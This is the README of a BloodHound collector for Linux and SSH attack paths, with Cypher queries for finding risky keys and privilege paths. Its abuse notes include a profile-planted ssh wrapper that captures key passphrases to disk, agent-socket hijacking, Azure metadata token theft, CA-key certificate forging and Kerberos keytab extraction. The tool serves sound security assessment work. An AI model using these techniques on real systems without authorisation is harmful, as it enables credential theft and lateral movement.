A BloodHound collector written in Go that discovers Linux and SSH attack paths. Outputs OpenGraph JSON and integrates with existing SharpHound and AzureHound data.
- Getting Started
- Data Model
- Cypher Queries
- Local Privilege Escalation
- Pivot from Dev to Prod
- Azure Tenant Breakout
- Azure Subscription Breakout
- Azure VMs with Privileged Service Principals
- Active Directory Domain Breakout
- Active Directory Principal Breakout
- Private Keys on More Than One Computer
- Unprotected Private Keys
- Private Keys with Weak Encryption
- Agent Forwarding
- Hosts that allow root logins
- CA Private Key used for Key-Based Authentication
- Wildcard Certificates
- Certificates without Expiration Date
- Large-Scale Deployment
- Author & License
- Acknowledgements
# clone repository
git clone https://github.com/rantasec/golinhound
cd golinhound
# build golinhound yourself
make build
# alternatively, download latest release
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-amd64"
wget -P "bin/" "https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-arm64"
# add custom node icons to BloodHound (prompts for password; add -insecure for self-signed certs)
./bin/golinhound-linux-amd64 configure -url http://localhost:8080 -user admin
# execute golinhound
sudo ./bin/golinhound-linux-amd64 collect > output.json
# optional: merge multiple output files
cat *.json | ./bin/golinhound-linux-amd64 merge > merged.jsonThis section describes the edges collected by GoLinHound and provides examples how they can be abused.
Collected by parsing all private keys in $HOME/.ssh/ directories. This edge indicates that a user has access to a specific SSH keypair.
If the corresponding private key is password-protected, the password can be captured by adding an SSH command alias to the user's profile:
ssh() {
for ((i=1; i<=$#; i++)); do
if [[ ${!i} == "-i" ]]; then
next=$((i+1))
if ssh-keygen -y -P "" -f "${!next}" >/dev/null 2>&1; then
break
fi
if [[ -f "${!next}.password" ]]; then
break
fi
echo -n "Enter passphrase for key '${!next}': "
read -s passphrase
echo ""
echo "$passphrase" > ${!next}.password
break
fi
done
command ssh "$@"
}Collected by parsing authorized_keys files. This edge indicates that a SSHKeyPair can be used to authenticate via SSH to an SSHComputer as a specific SSHUser.
Connect using the private key:
ssh -i <priv_key> user@hostThis edge indicates that a keypair was forwarded to another SSHComputer via SSH agent forwarding.
Use the forwarded authentication socket to authenticate to other hosts:
export SSH_AUTH_SOCK="/tmp/ssh-IbF2XDIsRI/agent.9869"
ssh user@hostCollected by parsing all *-cert.pub sibling files next to private keys in $HOME/.ssh/ directories. This edge indicates that a user holds an OpenSSH certificate paired with a local private key.
Inspect the certificate to see which CA signed it, which principals it authorizes, and how long it's valid:
ssh-keygen -L -f <priv_key>-cert.pubIf the paired private key is password-protected, see HasPrivateKey for capturing the passphrase.
Collected by parsing sshd's TrustedUserCAKeys and AuthorizedPrincipalsFile. This edge indicates that a SSHCertificate can be used to authenticate via SSH to an SSHComputer as a specific SSHUser.
Connect using the private key; ssh automatically picks up the sibling <priv_key>-cert.pub:
ssh -i <priv_key> user@hostCollected by parsing sshd's TrustedUserCAKeys and AuthorizedPrincipalsFile. This edge indicates that a SSHKeyPair is trusted as a certificate authority: anyone with the corresponding private key can issue a certificate for one of the listed principals and authenticate to an SSHComputer.
Generate a throwaway keypair, sign a certificate for a listed principal, and connect using it:
ssh-keygen -t ed25519 -N "" -f user_key
ssh-keygen -s <ca_priv> -I backup_admin_a3f9c2 -n <principal> user_key.pub
ssh -i user_key user@hostThis edge indicates that an SSHUser is the root user of an SSHComputer.
No additional exploitation needed - root is already the most privileged user on the system.
Collected by parsing sudoers configuration files. This edge indicates that a user has privileges to execute commands as root via sudo.
Escalate to root privileges:
sudo -u#0 bashOnce a user has escalated to root, they can impersonate any other user on the system.
Execute bash as another user:
sudo -u <username> bashThis edge indicates that an SSHComputer is an AZVM. This edge is bidirectional.
A token for the machine identity can be obtained via:
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -sA privileged Azure user can execute code on the VM via:
az vm run-command invoke \
--resource-group myResourceGroup \
--name myLinuxVM \
--command-id RunShellScript \
--scripts "whoami"
This edge indicates that an SSHUser holds credentials for an Active Directory user in a keytab file owned by that SSHUser.
Extract Kerberos encryption keys from the keytab:
klist -eKkt /home/alice/svc_custom.keytabThis edge indicates that an SSHUser holds cached Ticket Granting Tickets (TGTs) for an Active Directory user in a /tmp/krb5cc_* file owned by that SSHUser.
Export and use the credential cache:
export KRB5CCNAME=/tmp/krb5cc_<uid>
klistThis section demonstrates Cypher queries that uncover interesting attack paths. Sample OpenGraph JSON files for testing these queries can be found in the res/examples/ directory.
This query identifies non-privileged users that can obtain root privileges.
// identify administrative users
MATCH pEnd=(admin:SSHUser)-[:CanSudo|IsRoot]->(c:SSHComputer)
// identify unprivileged users
MATCH (c)-[:CanImpersonate]->(user:SSHUser)
WHERE NOT (user)-[:CanSudo|IsRoot]->(c)
// find path from unprivileged user to admin
MATCH pStart=allShortestPaths((user)-[*1..]->(admin))
// start segment should not include target computer
WHERE none(n in nodes(pStart) WHERE n.objectid=c.objectid)
RETURN pStart, pEndThis query identifies attack paths from test/dev to prod.
// identify all computers that contain non-prod strings
MATCH (testc:SSHComputer)
WHERE (
testc.name CONTAINS "TEST" OR
testc.name CONTAINS "TST" OR
testc.name CONTAINS "DEV"
)
// identify computers with prod string and all local users
MATCH (prodc:SSHComputer)-[:CanImpersonate]->(produ:SSHUser)
WHERE (
prodc.name CONTAINS "PROD" OR
prodc.name contains "PRD"
)
// check if there is path from test to prod
MATCH p=allShortestPaths((testc)-[*..]->(produ))
// ignore paths that go through the prod host
WHERE none(n in nodes(p) WHERE n.objectid=prodc.objectid)
// show privileges to prod host
OPTIONAL MATCH p2=(produ)-[:CanSudo|IsRoot]->(prodc)
RETURN p,p2This query shows non-Azure attack paths from a vm in one Azure tenant to a vm in another tenant.
MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WHERE vm1.tenantid <> vm2.tenantid
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN pThis query shows non-Azure attack paths from a vm in one Azure subscription to a vm in another subscription.
MATCH (vm1:AZVM)-[:SameMachine]->(:SSHComputer)
MATCH (:SSHComputer)-[:SameMachine]->(vm2:AZVM)
WITH
vm1,
vm2,
substring(vm1.objectid,15,36) AS subscriptionId1,
substring(vm2.objectid,15,36) AS subscriptionId2
WHERE subscriptionId1 <> subscriptionId2
MATCH p=allShortestPaths((vm1)-[*..]->(vm2))
WHERE none(r in relationships(p) WHERE type(r) STARTS WITH "AZ")
RETURN pThis query shows non-Azure attack paths to Azure VMs that have privileges assigned.
MATCH p=(:SSHComputer)-[:SameMachine]->(vm:AZVM)-->(:AZServicePrincipal)-->()
RETURN pThis query shows non-AD attack paths from an Active Directory principal in one domain to a principal in another domain.
MATCH p1=(u1:SSHUser)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(u2:SSHUser)-[:HasKeytab|:HasTGT]->(ad2)
WHERE u1 <> u2 AND ad1.domain <> ad2.domain
MATCH p=allShortestPaths((u1)-[*..]->(u2))
RETURN p1, p, p2This query shows non-AD attack paths from a user with access to one Active Directory principal to another principal.
MATCH p1=(u1:SSHUser)-[:HasKeytab|:HasTGT]->(ad1)
MATCH p2=(u2:SSHUser)-[:HasKeytab|:HasTGT]->(ad2)
WHERE u1 <> u2 AND ad1 <> ad2
MATCH p=allShortestPaths((u1)-[*..]->(u2))
RETURN p1, p, p2This query identifies private keys that can be found on multiple hosts.
MATCH (c:SSHComputer)-[:CanImpersonate]->(u:SSHUser)-[:HasPrivateKey]->(k:SSHKeyPair)
WITH k, collect(DISTINCT c) AS computers
WHERE size(computers) > 1
UNWIND computers AS c
MATCH p=(c)-[:CanImpersonate]->()-[:HasPrivateKey]->(k)
RETURN pThis query shows private keys that are unencrypted and not protected by FIDO2.
MATCH p=(:SSHUser)-[r:HasPrivateKey]->(k:SSHKeyPair)
WHERE k.FIDO2 = false AND r.Encrypted = false
RETURN pThis query shows non-FIDO2 private keys that are encrypted with something other than aes.
MATCH p=(u:SSHUser)-[r:HasPrivateKey]->(k:SSHKeyPair)
WHERE k.FIDO2 = false
AND r.Encrypted = true
AND r.Cipher <> "none"
AND NOT r.Cipher STARTS WITH "aes256-"
AND NOT r.Cipher STARTS WITH "aes128-"
RETURN pThis query shows which private keys are forwarded via SSH agent forwarding.
MATCH p=(:SSHUser)-[:ForwardsKey]->(k:SSHKeyPair)
RETURN pThis query returns hosts that allow the root user to login.
MATCH p=(:SSHKeyPair)-[:CanSSH]->(:SSHUser)-[:IsRoot]->(:SSHComputer)
RETURN pThis query surfaces SSH keypairs that are simultaneously trusted as a certificate authority (via TrustedUserCAKeys on some host) AND listed as a plain public key in someone's authorized_keys. It also shows who has access to the private key, if the information is available.
// find keypairs that are trusted as CA and in authorized keys
MATCH pk = (k:SSHKeyPair)-[:CanSSH]->(:SSHUser)
MATCH pc = (k)-[:CanIssueCertificate]->(:SSHUser)
// find out who has the respective private key
OPTIONAL MATCH p0 = (:SSHUser)-[:HasPrivateKey]->(k)
RETURN p0, pk, pcThis query returns SSH certificates that authorize login as ANY principal.
MATCH p=(:SSHUser)-[:HasCertificate]->(c:SSHCertificate)
WHERE c.WildcardPrincipal = true
RETURN pThis query returns SSH certificates that have no expiration date.
MATCH p=(:SSHUser)-[:HasCertificate]->(c:SSHCertificate)
WHERE c.ValidBefore = "9999-12-31T23:59:59Z"
RETURN pGoLinHound can be deployed using any tool with remote code execution capabilities across your Linux infrastructure. For Velociraptor users, a pre-built artifact is provided below for streamlined deployment:
name: Custom.Linux.Linhound.GoTool
description: |
Velociraptor Client Artifact to push GoLinhound to a client and execute. The binary will be downloaded to a temporary folder and will be deleted after execution. The artifact will return the json which can be pushed to Bloodhound.
author: Hendrik Schmidt, @hendrkss
precondition: SELECT OS, PlatformFamily, Architecture FROM info() WHERE OS = 'linux' AND NOT Architecture =~ 'arm'
type: CLIENT
implied_permissions:
- EXECVE
- FILESYSTEM_WRITE
- FILESYSTEM_READ
tools:
- name: goLinhound
url: https://github.com/RantaSec/golinhound/releases/latest/download/golinhound-linux-amd64
sources:
- name: GetToolingAndExecute
query: |
LET getTool = SELECT OSPath as MyPath FROM Artifact.Generic.Utils.FetchBinary(
ToolName= "goLinhound",
ToolInfo="GoLinhound Executable",
IsExecutable=TRUE,
TemporaryOnly=TRUE
)
LET runTool = SELECT MyPath,* FROM execve(argv=[MyPath,"collect"],length=100000000)
SELECT * FROM foreach(
row=getTool,
query={SELECT * FROM chain(a=runTool)
}
)
Copyright © 2026 Lukas Klein. Licensed under GPL-3.0 - see LICENSE.
I would like to thank the following people for their support on this project: